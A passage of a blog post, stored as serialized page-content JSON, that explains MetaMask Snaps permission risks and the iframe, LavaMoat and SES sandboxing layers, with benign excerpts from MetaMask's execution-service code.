snap:",{"type":24,"tag":33,"props":38579,"children":38580},{},[38581],{"type":24,"tag":140,"props":38582,"children":38584},{"alt":7,"src":38583},"/posts/metamask-snaps/permissions.png",[],{"type":24,"tag":96,"props":38586,"children":38587},{},[38588,38606],{"type":24,"tag":100,"props":38589,"children":38590},{},[38591,38597,38598,38604],{"type":24,"tag":156,"props":38592,"children":38594},{"className":38593},[],[38595],{"type":30,"value":38596},"snap_getBip44Entropy",{"type":30,"value":211},{"type":24,"tag":156,"props":38599,"children":38601},{"className":38600},[],[38602],{"type":30,"value":38603},"snap_getBip32Entropy",{"type":30,"value":38605}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":24,"tag":100,"props":38607,"children":38608},{},[38609,38615],{"type":24,"tag":156,"props":38610,"children":38612},{"className":38611},[],[38613],{"type":30,"value":38614},"endowment:transaction-insight",{"type":30,"value":38616}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":24,"tag":151,"props":38618,"children":38620},{"id":38619},"snap-execution-environment",[38621],{"type":30,"value":38622},"Snap execution environment",{"type":24,"tag":33,"props":38624,"children":38625},{},[38626],{"type":30,"value":38627},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":24,"tag":478,"props":38629,"children":38630},{},[38631,38636,38641],{"type":24,"tag":100,"props":38632,"children":38633},{},[38634],{"type":30,"value":38635},"An isolated iframe",{"type":24,"tag":100,"props":38637,"children":38638},{},[38639],{"type":30,"value":38640},"LavaMoat",{"type":24,"tag":100,"props":38642,"children":38643},{},[38644],{"type":30,"value":38645},"SES (Secure EcmaScript)",{"type":24,"tag":33,"props":38647,"children":38648},{},[38649],{"type":24,"tag":140,"props":38650,"children":38652},{"alt":7,"src":38651},"/posts/metamask-snaps/environment.png",[],{"type":24,"tag":151,"props":38654,"children":38656},{"id":38655},"isolated-iframe-layer-1",[38657],{"type":30,"value":38658},"Isolated Iframe - Layer 1",{"type":24,"tag":33,"props":38660,"children":38661},{},[38662,38664,38671],{"type":30,"value":38663},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":24,"tag":37,"props":38665,"children":38668},{"href":38666,"rel":38667},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[41],[38669],{"type":30,"value":38670},"Iframe",{"type":30,"value":38672}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":24,"tag":21995,"props":38674,"children":38676},{"id":38675},"the-framework-metamask-extension-repo",[38677],{"type":30,"value":38678},"The Framework: Metamask-Extension Repo",{"type":24,"tag":33,"props":38680,"children":38681},{},[38682,38684,38690,38692,38698],{"type":30,"value":38683},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":24,"tag":156,"props":38685,"children":38687},{"className":38686},[],[38688],{"type":30,"value":38689},"metamask-controller.js",{"type":30,"value":38691}," file. Here's a glimpse of the relevant ",{"type":24,"tag":37,"props":38693,"children":38696},{"href":38694,"rel":38695},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[41],[38697],{"type":30,"value":156},{"type":30,"value":476},{"type":24,"tag":920,"props":38700,"children":38704},{"className":38701,"code":38702,"language":38703,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[38705],{"type":24,"tag":156,"props":38706,"children":38707},{"__ignoreMap":7},[38708,38716,38724,38744,38792,38827,38844,38852,38894,38901,38908,38916,38944,38956],{"type":24,"tag":930,"props":38709,"children":38710},{"class":932,"line":933},[38711],{"type":24,"tag":930,"props":38712,"children":38713},{"style":1422},[38714],{"type":30,"value":38715},"// Import snaps-controllers\n",{"type":24,"tag":930,"props":38717,"children":38718},{"class":932,"line":984},[38719],{"type":24,"tag":930,"props":38720,"children":38721},{"style":1422},[38722],{"type":30,"value":38723},"// ...\n",{"type":24,"tag":930,"props":38725,"children":38726},{"class":932,"line":993},[38727,38731,38736,38740],{"type":24,"tag":930,"props":38728,"children":38729},{"style":937},[38730],{"type":30,"value":12762},{"type":24,"tag":930,"props":38732,"children":38733},{"style":1023},[38734],{"type":30,"value":38735}," snapExecutionServiceArgs",{"type":24,"tag":930,"props":38737,"children":38738},{"style":1158},[38739],{"type":30,"value":6137},{"type":24,"tag":930,"props":38741,"children":38742},{"style":959},[38743],{"type":30,"value":981},{"type":24,"tag":930,"props":38745,"children":38746},{"class":932,"line":1057},[38747,38752,38756,38761,38765,38770,38774,38779,38783,38788],{"type":24,"tag":930,"props":38748,"children":38749},{"style":1023},[38750],{"type":30,"value":38751},"  iframeUrl:",{"type":24,"tag":930,"props":38753,"children":38754},{"style":937},[38755],{"type":30,"value":35023},{"type":24,"tag":930,"props":38757,"children":38758},{"style":1002},[38759],{"type":30,"value":38760}," URL",{"type":24,"tag":930,"props":38762,"children":38763},{"style":959},[38764],{"type":30,"value":1010},{"type":24,"tag":930,"props":38766,"children":38767},{"style":1023},[38768],{"type":30,"value":38769},"process",{"type":24,"tag":930,"props":38771,"children":38772},{"style":959},[38773],{"type":30,"value":436},{"type":24,"tag":930,"props":38775,"children":38776},{"style":1023},[38777],{"type":30,"value":38778},"env",{"type":24,"tag":930,"props":38780,"children":38781},{"style":959},[38782],{"type":30,"value":436},{"type":24,"tag":930,"props":38784,"children":38785},{"style":1023},[38786],{"type":30,"value":38787},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":24,"tag":930,"props":38789,"children":38790},{"style":959},[38791],{"type":30,"value":9848},{"type":24,"tag":930,"props":38793,"children":38794},{"class":932,"line":1066},[38795,38800,38805,38809,38814,38818,38823],{"type":24,"tag":930,"props":38796,"children":38797},{"style":1023},[38798],{"type":30,"value":38799},"  messenger:",{"type":24,"tag":930,"props":38801,"children":38802},{"style":937},[38803],{"type":30,"value":38804}," this",{"type":24,"tag":930,"props":38806,"children":38807},{"style":959},[38808],{"type":30,"value":436},{"type":24,"tag":930,"props":38810,"children":38811},{"style":1023},[38812],{"type":30,"value":38813},"controllerMessenger",{"type":24,"tag":930,"props":38815,"children":38816},{"style":959},[38817],{"type":30,"value":436},{"type":24,"tag":930,"props":38819,"children":38820},{"style":1002},[38821],{"type":30,"value":38822},"getRestricted",{"type":24,"tag":930,"props":38824,"children":38825},{"style":959},[38826],{"type":30,"value":18244},{"type":24,"tag":930,"props":38828,"children":38829},{"class":932,"line":1075},[38830,38835,38840],{"type":24,"tag":930,"props":38831,"children":38832},{"style":1023},[38833],{"type":30,"value":38834},"    name:",{"type":24,"tag":930,"props":38836,"children":38837},{"style":1270},[38838],{"type":30,"value":38839}," 'ExecutionService'",{"type":24,"tag":930,"props":38841,"children":38842},{"style":959},[38843],{"type":30,"value":2832},{"type":24,"tag":930,"props":38845,"children":38846},{"class":932,"line":1122},[38847],{"type":24,"tag":930,"props":38848,"children":38849},{"style":959},[38850],{"type":30,"value":38851},"  }),\n",{"type":24,"tag":930,"props":38853,"children":38854},{"class":932,"line":1131},[38855,38860,38864,38868,38873,38877,38882,38886,38890],{"type":24,"tag":930,"props":38856,"children":38857},{"style":1023},[38858],{"type":30,"value":38859},"  setupSnapProvider:",{"type":24,"tag":930,"props":38861,"children":38862},{"style":937},[38863],{"type":30,"value":38804},{"type":24,"tag":930,"props":38865,"children":38866},{"style":959},[38867],{"type":30,"value":436},{"type":24,"tag":930,"props":38869,"children":38870},{"style":1023},[38871],{"type":30,"value":38872},"setupSnapProvider",{"type":24,"tag":930,"props":38874,"children":38875},{"style":959},[38876],{"type":30,"value":436},{"type":24,"tag":930,"props":38878,"children":38879},{"style":1002},[38880],{"type":30,"value":38881},"bind",{"type":24,"tag":930,"props":38883,"children":38884},{"style":959},[38885],{"type":30,"value":1010},{"type":24,"tag":930,"props":38887,"children":38888},{"style":937},[38889],{"type":30,"value":1722},{"type":24,"tag":930,"props":38891,"children":38892},{"style":959},[38893],{"type":30,"value":9848},{"type":24,"tag":930,"props":38895,"children":38896},{"class":932,"line":1144},[38897],{"type":24,"tag":930,"props":38898,"children":38899},{"style":959},[38900],{"type":30,"value":19679},{"type":24,"tag":930,"props":38902,"children":38903},{"class":932,"line":1169},[38904],{"type":24,"tag":930,"props":38905,"children":38906},{"emptyLinePlaceholder":16},[38907],{"type":30,"value":2412},{"type":24,"tag":930,"props":38909,"children":38910},{"class":932,"line":1191},[38911],{"type":24,"tag":930,"props":38912,"children":38913},{"style":1422},[38914],{"type":30,"value":38915},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":24,"tag":930,"props":38917,"children":38918},{"class":932,"line":1223},[38919,38923,38927,38931,38935,38939],{"type":24,"tag":930,"props":38920,"children":38921},{"style":1023},[38922],{"type":30,"value":38769},{"type":24,"tag":930,"props":38924,"children":38925},{"style":959},[38926],{"type":30,"value":436},{"type":24,"tag":930,"props":38928,"children":38929},{"style":1023},[38930],{"type":30,"value":38778},{"type":24,"tag":930,"props":38932,"children":38933},{"style":959},[38934],{"type":30,"value":436},{"type":24,"tag":930,"props":38936,"children":38937},{"style":1023},[38938],{"type":30,"value":38787},{"type":24,"tag":930,"props":38940,"children":38941},{"style":1158},[38942],{"type":30,"value":38943}," =\n",{"type":24,"tag":930,"props":38945,"children":38946},{"class":932,"line":1281},[38947,38952],{"type":24,"tag":930,"props":38948,"children":38949},{"style":1270},[38950],{"type":30,"value":38951},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":24,"tag":930,"props":38953,"children":38954},{"style":959},[38955],{"type":30,"value":5539},{"type":24,"tag":930,"props":38957,"children":38958},{"class":932,"line":1313},[38959],{"type":24,"tag":930,"props":38960,"children":38961},{"style":1422},[38962],{"type":30,"value":38723},{"type":24,"tag":33,"props":38964,"children":38965},{},[38966,38968,38974,38976,38982,38984,38989],{"type":30,"value":38967},"This code is defining the ",{"type":24,"tag":156,"props":38969,"children":38971},{"className":38970},[],[38972],{"type":30,"value":38973},"snapExecutionServiceArgs",{"type":30,"value":38975}," object, which contains information required for the ",{"type":24,"tag":156,"props":38977,"children":38979},{"className":38978},[],[38980],{"type":30,"value":38981},"IframeExecutionService",{"type":30,"value":38983}," to execute snaps. The ",{"type":24,"tag":156,"props":38985,"children":38987},{"className":38986},[],[38988],{"type":30,"value":38787},{"type":30,"value":38990}," points to the location where the execution environment resides.",{"type":24,"tag":21995,"props":38992,"children":38994},{"id":38993},"executing-snaps-iframeexecutionservice-in-action",[38995],{"type":30,"value":38996},"Executing Snaps: IframeExecutionService in Action",{"type":24,"tag":33,"props":38998,"children":38999},{},[39000,39002,39007,39009,39015],{"type":30,"value":39001},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":24,"tag":156,"props":39003,"children":39005},{"className":39004},[],[39006],{"type":30,"value":38981},{"type":30,"value":39008}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":24,"tag":37,"props":39010,"children":39013},{"href":39011,"rel":39012},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[41],[39014],{"type":30,"value":156},{"type":30,"value":476},{"type":24,"tag":920,"props":39017,"children":39021},{"className":39018,"code":39019,"language":39020,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[39022],{"type":24,"tag":156,"props":39023,"children":39024},{"__ignoreMap":7},[39025,39033,39062,39092,39145,39182,39189,39196,39204,39211,39218,39226,39261,39269,39325,39387,39395],{"type":24,"tag":930,"props":39026,"children":39027},{"class":932,"line":933},[39028],{"type":24,"tag":930,"props":39029,"children":39030},{"style":1422},[39031],{"type":30,"value":39032},"// Register message handlers for snap interactions\n",{"type":24,"tag":930,"props":39034,"children":39035},{"class":932,"line":984},[39036,39040,39044,39049,39053,39058],{"type":24,"tag":930,"props":39037,"children":39038},{"style":937},[39039],{"type":30,"value":1722},{"type":24,"tag":930,"props":39041,"children":39042},{"style":959},[39043],{"type":30,"value":436},{"type":24,"tag":930,"props":39045,"children":39046},{"style":1023},[39047],{"type":30,"value":39048},"#messenger",{"type":24,"tag":930,"props":39050,"children":39051},{"style":959},[39052],{"type":30,"value":436},{"type":24,"tag":930,"props":39054,"children":39055},{"style":1002},[39056],{"type":30,"value":39057},"registerActionHandler",{"type":24,"tag":930,"props":39059,"children":39060},{"style":959},[39061],{"type":30,"value":2814},{"type":24,"tag":930,"props":39063,"children":39064},{"class":932,"line":993},[39065,39070,39074,39079,39083,39088],{"type":24,"tag":930,"props":39066,"children":39067},{"style":1270},[39068],{"type":30,"value":39069},"  `",{"type":24,"tag":930,"props":39071,"children":39072},{"style":937},[39073],{"type":30,"value":37197},{"type":24,"tag":930,"props":39075,"children":39076},{"style":1023},[39077],{"type":30,"value":39078},"controllerName",{"type":24,"tag":930,"props":39080,"children":39081},{"style":937},[39082],{"type":30,"value":37229},{"type":24,"tag":930,"props":39084,"children":39085},{"style":1270},[39086],{"type":30,"value":39087},":handleRpcRequest`",{"type":24,"tag":930,"props":39089,"children":39090},{"style":959},[39091],{"type":30,"value":2832},{"type":24,"tag":930,"props":39093,"children":39094},{"class":932,"line":1057},[39095,39100,39104,39109,39113,39118,39122,39127,39131,39136,39140],{"type":24,"tag":930,"props":39096,"children":39097},{"style":937},[39098],{"type":30,"value":39099},"  async",{"type":24,"tag":930,"props":39101,"children":39102},{"style":959},[39103],{"type":30,"value":1087},{"type":24,"tag":930,"props":39105,"children":39106},{"style":1023},[39107],{"type":30,"value":39108},"snapId",{"type":24,"tag":930,"props":39110,"children":39111},{"style":1158},[39112],{"type":30,"value":476},{"type":24,"tag":930,"props":39114,"children":39115},{"style":943},[39116],{"type":30,"value":39117}," string",{"type":24,"tag":930,"props":39119,"children":39120},{"style":959},[39121],{"type":30,"value":962},{"type":24,"tag":930,"props":39123,"children":39124},{"style":1023},[39125],{"type":30,"value":39126},"options",{"type":24,"tag":930,"props":39128,"children":39129},{"style":1158},[39130],{"type":30,"value":476},{"type":24,"tag":930,"props":39132,"children":39133},{"style":943},[39134],{"type":30,"value":39135}," SnapRpcHookArgs",{"type":24,"tag":930,"props":39137,"children":39138},{"style":959},[39139],{"type":30,"value":5579},{"type":24,"tag":930,"props":39141,"children":39142},{"style":937},[39143],{"type":30,"value":39144},"=>\n",{"type":24,"tag":930,"props":39146,"children":39147},{"class":932,"line":1066},[39148,39153,39157,39162,39166,39170,39174,39178],{"type":24,"tag":930,"props":39149,"children":39150},{"style":937},[39151],{"type":30,"value":39152},"    this",{"type":24,"tag":930,"props":39154,"children":39155},{"style":959},[39156],{"type":30,"value":436},{"type":24,"tag":930,"props":39158,"children":39159},{"style":1002},[39160],{"type":30,"value":39161},"handleRpcRequest",{"type":24,"tag":930,"props":39163,"children":39164},{"style":959},[39165],{"type":30,"value":1010},{"type":24,"tag":930,"props":39167,"children":39168},{"style":1023},[39169],{"type":30,"value":39108},{"type":24,"tag":930,"props":39171,"children":39172},{"style":959},[39173],{"type":30,"value":962},{"type":24,"tag":930,"props":39175,"children":39176},{"style":1023},[39177],{"type":30,"value":39126},{"type":24,"tag":930,"props":39179,"children":39180},{"style":959},[39181],{"type":30,"value":9848},{"type":24,"tag":930,"props":39183,"children":39184},{"class":932,"line":1075},[39185],{"type":24,"tag":930,"props":39186,"children":39187},{"style":959},[39188],{"type":30,"value":1278},{"type":24,"tag":930,"props":39190,"children":39191},{"class":932,"line":1122},[39192],{"type":24,"tag":930,"props":39193,"children":39194},{"emptyLinePlaceholder":16},[39195],{"type":30,"value":2412},{"type":24,"tag":930,"props":39197,"children":39198},{"class":932,"line":1131},[39199],{"type":24,"tag":930,"props":39200,"children":39201},{"style":1422},[39202],{"type":30,"value":39203},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":24,"tag":930,"props":39205,"children":39206},{"class":932,"line":1144},[39207],{"type":24,"tag":930,"props":39208,"children":39209},{"style":1422},[39210],{"type":30,"value":38723},{"type":24,"tag":930,"props":39212,"children":39213},{"class":932,"line":1169},[39214],{"type":24,"tag":930,"props":39215,"children":39216},{"emptyLinePlaceholder":16},[39217],{"type":30,"value":2412},{"type":24,"tag":930,"props":39219,"children":39220},{"class":932,"line":1191},[39221],{"type":24,"tag":930,"props":39222,"children":39223},{"style":1422},[39224],{"type":30,"value":39225},"// Execute a snap\n",{"type":24,"tag":930,"props":39227,"children":39228},{"class":932,"line":1223},[39229,39234,39239,39243,39248,39252,39257],{"type":24,"tag":930,"props":39230,"children":39231},{"style":1023},[39232],{"type":30,"value":39233},"async",{"type":24,"tag":930,"props":39235,"children":39236},{"style":1002},[39237],{"type":30,"value":39238}," executeSnap",{"type":24,"tag":930,"props":39240,"children":39241},{"style":959},[39242],{"type":30,"value":1010},{"type":24,"tag":930,"props":39244,"children":39245},{"style":1023},[39246],{"type":30,"value":39247},"snapData",{"type":24,"tag":930,"props":39249,"children":39250},{"style":959},[39251],{"type":30,"value":18434},{"type":24,"tag":930,"props":39253,"children":39254},{"style":1023},[39255],{"type":30,"value":39256},"SnapExecutionData",{"type":24,"tag":930,"props":39258,"children":39259},{"style":959},[39260],{"type":30,"value":1503},{"type":24,"tag":930,"props":39262,"children":39263},{"class":932,"line":1281},[39264],{"type":24,"tag":930,"props":39265,"children":39266},{"style":1422},[39267],{"type":30,"value":39268},"  // Initialize job, streams, and environment\n",{"type":24,"tag":930,"props":39270,"children":39271},{"class":932,"line":1313},[39272,39277,39281,39286,39291,39295,39300,39304,39308,39313,39317,39321],{"type":24,"tag":930,"props":39273,"children":39274},{"style":937},[39275],{"type":30,"value":39276},"  const",{"type":24,"tag":930,"props":39278,"children":39279},{"style":959},[39280],{"type":30,"value":12694},{"type":24,"tag":930,"props":39282,"children":39283},{"style":1023},[39284],{"type":30,"value":39285},"jobId",{"type":24,"tag":930,"props":39287,"children":39288},{"style":959},[39289],{"type":30,"value":39290}," } ",{"type":24,"tag":930,"props":39292,"children":39293},{"style":1158},[39294],{"type":30,"value":1161},{"type":24,"tag":930,"props":39296,"children":39297},{"style":1079},[39298],{"type":30,"value":39299}," await",{"type":24,"tag":930,"props":39301,"children":39302},{"style":937},[39303],{"type":30,"value":38804},{"type":24,"tag":930,"props":39305,"children":39306},{"style":959},[39307],{"type":30,"value":436},{"type":24,"tag":930,"props":39309,"children":39310},{"style":1002},[39311],{"type":30,"value":39312},"initJob",{"type":24,"tag":930,"props":39314,"children":39315},{"style":959},[39316],{"type":30,"value":1010},{"type":24,"tag":930,"props":39318,"children":39319},{"style":1023},[39320],{"type":30,"value":39247},{"type":24,"tag":930,"props":39322,"children":39323},{"style":959},[39324],{"type":30,"value":1278},{"type":24,"tag":930,"props":39326,"children":39327},{"class":932,"line":1335},[39328,39332,39336,39341,39345,39350,39354,39358,39362,39366,39370,39375,39379,39383],{"type":24,"tag":930,"props":39329,"children":39330},{"style":937},[39331],{"type":30,"value":39276},{"type":24,"tag":930,"props":39333,"children":39334},{"style":959},[39335],{"type":30,"value":12694},{"type":24,"tag":930,"props":39337,"children":39338},{"style":1023},[39339],{"type":30,"value":39340},"worker",{"type":24,"tag":930,"props":39342,"children":39343},{"style":959},[39344],{"type":30,"value":962},{"type":24,"tag":930,"props":39346,"children":39347},{"style":1023},[39348],{"type":30,"value":39349},"stream",{"type":24,"tag":930,"props":39351,"children":39352},{"style":959},[39353],{"type":30,"value":39290},{"type":24,"tag":930,"props":39355,"children":39356},{"style":1158},[39357],{"type":30,"value":1161},{"type":24,"tag":930,"props":39359,"children":39360},{"style":1079},[39361],{"type":30,"value":39299},{"type":24,"tag":930,"props":39363,"children":39364},{"style":937},[39365],{"type":30,"value":38804},{"type":24,"tag":930,"props":39367,"children":39368},{"style":959},[39369],{"type":30,"value":436},{"type":24,"tag":930,"props":39371,"children":39372},{"style":1002},[39373],{"type":30,"value":39374},"initEnvStream",{"type":24,"tag":930,"props":39376,"children":39377},{"style":959},[39378],{"type":30,"value":1010},{"type":24,"tag":930,"props":39380,"children":39381},{"style":1023},[39382],{"type":30,"value":39285},{"type":24,"tag":930,"props":39384,"children":39385},{"style":959},[39386],{"type":30,"value":1278},{"type":24,"tag":930,"props":39388,"children":39389},{"class":932,"line":1376},[39390],{"type":24,"tag":930,"props":39391,"children":39392},{"style":1422},[39393],{"type":30,"value":39394},"  // ...\n",{"type":24,"tag":930,"props":39396,"children":39397},{"class":932,"line":1418},[39398],{"type":24,"tag":930,"props":39399,"children":39400},{"style":959},[39401],{"type":30,"value":2528},{"type":24,"tag":33,"props":39403,"children":39404},{},[39405,39406,39411,39413,39419],{"type":30,"value":259},{"type":24,"tag":156,"props":39407,"children":39409},{"className":39408},[],[39410],{"type":30,"value":38981},{"type":30,"value":39412}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":24,"tag":156,"props":39414,"children":39416},{"className":39415},[],[39417],{"type":30,"value":39418},"${controllerName}:executeSnap",{"type":30,"value":39420}," handler triggers the snap execution process.",{"type":24,"tag":21995,"props":39422,"children":39424},{"id":39423},"step-by-step-execution-from-initialization-to-iframe-creation",[39425,39427],{"type":30,"value":39426},"Step-by-Step Execution: From Initialization to iFrame ",{"type":24,"tag":37,"props":39428,"children":39431},{"href":39429,"rel":39430},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[41],[39432],{"type":30,"value":39433},"creation",{"type":24,"tag":920,"props":39435,"children":39437},{"className":39018,"code":39436,"language":39020,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[39438],{"type":24,"tag":156,"props":39439,"children":39440},{"__ignoreMap":7},[39441,39490,39511,39532,39540,39604,39611,39639,39656,39673,39690,39707,39714,39721,39745],{"type":24,"tag":930,"props":39442,"children":39443},{"class":932,"line":933},[39444,39449,39454,39459,39463,39467,39471,39475,39480,39485],{"type":24,"tag":930,"props":39445,"children":39446},{"style":1023},[39447],{"type":30,"value":39448},"protected",{"type":24,"tag":930,"props":39450,"children":39451},{"style":1023},[39452],{"type":30,"value":39453}," async",{"type":24,"tag":930,"props":39455,"children":39456},{"style":1002},[39457],{"type":30,"value":39458}," initEnvStream",{"type":24,"tag":930,"props":39460,"children":39461},{"style":959},[39462],{"type":30,"value":1010},{"type":24,"tag":930,"props":39464,"children":39465},{"style":1023},[39466],{"type":30,"value":39285},{"type":24,"tag":930,"props":39468,"children":39469},{"style":959},[39470],{"type":30,"value":18434},{"type":24,"tag":930,"props":39472,"children":39473},{"style":1023},[39474],{"type":30,"value":32757},{"type":24,"tag":930,"props":39476,"children":39477},{"style":959},[39478],{"type":30,"value":39479},"): ",{"type":24,"tag":930,"props":39481,"children":39482},{"style":943},[39483],{"type":30,"value":39484},"Promise",{"type":24,"tag":930,"props":39486,"children":39487},{"style":959},[39488],{"type":30,"value":39489},"\u003C{\n",{"type":24,"tag":930,"props":39491,"children":39492},{"class":932,"line":984},[39493,39498,39502,39507],{"type":24,"tag":930,"props":39494,"children":39495},{"style":1023},[39496],{"type":30,"value":39497},"    worker",{"type":24,"tag":930,"props":39499,"children":39500},{"style":1158},[39501],{"type":30,"value":476},{"type":24,"tag":930,"props":39503,"children":39504},{"style":943},[39505],{"type":30,"value":39506}," Window",{"type":24,"tag":930,"props":39508,"children":39509},{"style":959},[39510],{"type":30,"value":5539},{"type":24,"tag":930,"props":39512,"children":39513},{"class":932,"line":993},[39514,39519,39523,39528],{"type":24,"tag":930,"props":39515,"children":39516},{"style":1023},[39517],{"type":30,"value":39518},"    stream",{"type":24,"tag":930,"props":39520,"children":39521},{"style":1158},[39522],{"type":30,"value":476},{"type":24,"tag":930,"props":39524,"children":39525},{"style":943},[39526],{"type":30,"value":39527}," BasePostMessageStream",{"type":24,"tag":930,"props":39529,"children":39530},{"style":959},[39531],{"type":30,"value":5539},{"type":24,"tag":930,"props":39533,"children":39534},{"class":932,"line":1057},[39535],{"type":24,"tag":930,"props":39536,"children":39537},{"style":959},[39538],{"type":30,"value":39539},"  }> {\n",{"type":24,"tag":930,"props":39541,"children":39542},{"class":932,"line":1066},[39543,39548,39553,39557,39561,39566,39570,39574,39578,39583,39587,39592,39596,39600],{"type":24,"tag":930,"props":39544,"children":39545},{"style":959},[39546],{"type":30,"value":39547},"    const ",{"type":24,"tag":930,"props":39549,"children":39550},{"style":1023},[39551],{"type":30,"value":39552},"iframeWindow",{"type":24,"tag":930,"props":39554,"children":39555},{"style":1158},[39556],{"type":30,"value":6137},{"type":24,"tag":930,"props":39558,"children":39559},{"style":1079},[39560],{"type":30,"value":39299},{"type":24,"tag":930,"props":39562,"children":39563},{"style":1002},[39564],{"type":30,"value":39565}," createWindow",{"type":24,"tag":930,"props":39567,"children":39568},{"style":959},[39569],{"type":30,"value":1010},{"type":24,"tag":930,"props":39571,"children":39572},{"style":937},[39573],{"type":30,"value":1722},{"type":24,"tag":930,"props":39575,"children":39576},{"style":959},[39577],{"type":30,"value":436},{"type":24,"tag":930,"props":39579,"children":39580},{"style":1023},[39581],{"type":30,"value":39582},"iframeUrl",{"type":24,"tag":930,"props":39584,"children":39585},{"style":959},[39586],{"type":30,"value":436},{"type":24,"tag":930,"props":39588,"children":39589},{"style":1002},[39590],{"type":30,"value":39591},"toString",{"type":24,"tag":930,"props":39593,"children":39594},{"style":959},[39595],{"type":30,"value":1364},{"type":24,"tag":930,"props":39597,"children":39598},{"style":1023},[39599],{"type":30,"value":39285},{"type":24,"tag":930,"props":39601,"children":39602},{"style":959},[39603],{"type":30,"value":1278},{"type":24,"tag":930,"props":39605,"children":39606},{"class":932,"line":1075},[39607],{"type":24,"tag":930,"props":39608,"children":39609},{"emptyLinePlaceholder":16},[39610],{"type":30,"value":2412},{"type":24,"tag":930,"props":39612,"children":39613},{"class":932,"line":1122},[39614,39618,39622,39626,39630,39635],{"type":24,"tag":930,"props":39615,"children":39616},{"style":959},[39617],{"type":30,"value":39547},{"type":24,"tag":930,"props":39619,"children":39620},{"style":1023},[39621],{"type":30,"value":39349},{"type":24,"tag":930,"props":39623,"children":39624},{"style":1158},[39625],{"type":30,"value":6137},{"type":24,"tag":930,"props":39627,"children":39628},{"style":937},[39629],{"type":30,"value":35023},{"type":24,"tag":930,"props":39631,"children":39632},{"style":1002},[39633],{"type":30,"value":39634}," WindowPostMessageStream",{"type":24,"tag":930,"props":39636,"children":39637},{"style":959},[39638],{"type":30,"value":18244},{"type":24,"tag":930,"props":39640,"children":39641},{"class":932,"line":1131},[39642,39647,39652],{"type":24,"tag":930,"props":39643,"children":39644},{"style":1023},[39645],{"type":30,"value":39646},"      name:",{"type":24,"tag":930,"props":39648,"children":39649},{"style":1270},[39650],{"type":30,"value":39651}," 'parent'",{"type":24,"tag":930,"props":39653,"children":39654},{"style":959},[39655],{"type":30,"value":2832},{"type":24,"tag":930,"props":39657,"children":39658},{"class":932,"line":1144},[39659,39664,39669],{"type":24,"tag":930,"props":39660,"children":39661},{"style":1023},[39662],{"type":30,"value":39663},"      target:",{"type":24,"tag":930,"props":39665,"children":39666},{"style":1270},[39667],{"type":30,"value":39668}," 'child'",{"type":24,"tag":930,"props":39670,"children":39671},{"style":959},[39672],{"type":30,"value":2832},{"type":24,"tag":930,"props":39674,"children":39675},{"class":932,"line":1169},[39676,39681,39686],{"type":24,"tag":930,"props":39677,"children":39678},{"style":1023},[39679],{"type":30,"value":39680},"      targetWindow:",{"type":24,"tag":930,"props":39682,"children":39683},{"style":1023},[39684],{"type":30,"value":39685}," iframeWindow",{"type":24,"tag":930,"props":39687,"children":39688},{"style":959},[39689],{"type":30,"value":2832},{"type":24,"tag":930,"props":39691,"children":39692},{"class":932,"line":1191},[39693,39698,39703],{"type":24,"tag":930,"props":39694,"children":39695},{"style":1023},[39696],{"type":30,"value":39697},"      targetOrigin:",{"type":24,"tag":930,"props":39699,"children":39700},{"style":1270},[39701],{"type":30,"value":39702}," 